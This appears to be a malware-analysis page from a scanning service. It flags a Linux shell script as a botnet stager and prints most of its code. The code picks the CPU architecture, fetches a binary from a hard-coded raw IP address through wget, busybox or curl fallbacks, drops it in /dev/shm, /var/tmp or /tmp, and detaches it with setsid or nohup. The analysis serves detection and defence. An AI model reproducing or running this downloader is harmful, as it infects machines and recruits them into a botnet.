Hostile 100% linux Download

AA

Downloads and executes remote binary

Raw-IP fallback download arms and detaches executionArchitecture-detecting botnet stager downloads and detaches payload
SHA-256a43724fa6390beb685f214d38d80b21c7e7daa1a29c680791a65988869ad5c0c

Evidence

BusyBox wget applet invocation lines 1–48
1#!/bin/sh
2# Arch picker. Must exec the ELF off /tmp: Gitea k8s often mounts /tmp noexec.
3export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin
4T="${1:-app}"
5B="http://80.87.206.86"
6B2="http://80.87.206.86:18081"
7a=$(uname -m 2>/dev/null)
8case $a in
9 *x86_64*|*amd64*) a=1 ;;
10 *i?86*) a=2 ;;
11 *aarch64*|*arm64*) a=4 ;;
12 *mipsel*) a=6 ;;
13 *mips*) a=5d ;;
14 *ppc*) a=7 ;;
15 *sh4*) a=8 ;;
16 *arm*) a=3d ;;
17 *) a=1 ;;
18esac
19dl() {
20 _o=$1
21 wget -q -T 8 -O "$_o" "$B/bins/$a" && [ -s "$_o" ] && return 0
22 wget -q -T 8 -O "$_o" "$B2/bins/$a" && [ -s "$_o" ] && return 0
23 busybox wget -q -T 8 -O "$_o" "$B/bins/$a" && [ -s "$_o" ] && return 0
24 curl -fsS --max-time 8 -o "$_o" "$B/bins/$a" && [ -s "$_o" ] && return 0
25 curl -fsS --max-time 8 -o "$_o" "$B2/bins/$a" && [ -s "$_o" ] && return 0
26 return 1
27}
28src=""
29for d in /dev/shm /var/tmp /tmp; do
30 mkdir -p "$d" 2>/dev/null || continue
31 src="$d/.dl$$"
32 dl "$src" && break
⋯4 lines
37 _f=$1
38 if command -v setsid >/dev/null 2>&1; then
39 setsid "$_f" "$T" </dev/null >/dev/null 2>&1 &
40 elif command -v nohup >/dev/null 2>&1; then
41 nohup "$_f" "$T" </dev/null >/dev/null 2>&1 &
42 else
43 (trap "" HUP; exec "$_f" "$T") </dev/null >/dev/null 2>&1 &
44 fi
45 _p=$!
46 sleep 0.2
47 kill -0 "$_p" 2>/dev/null
48}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.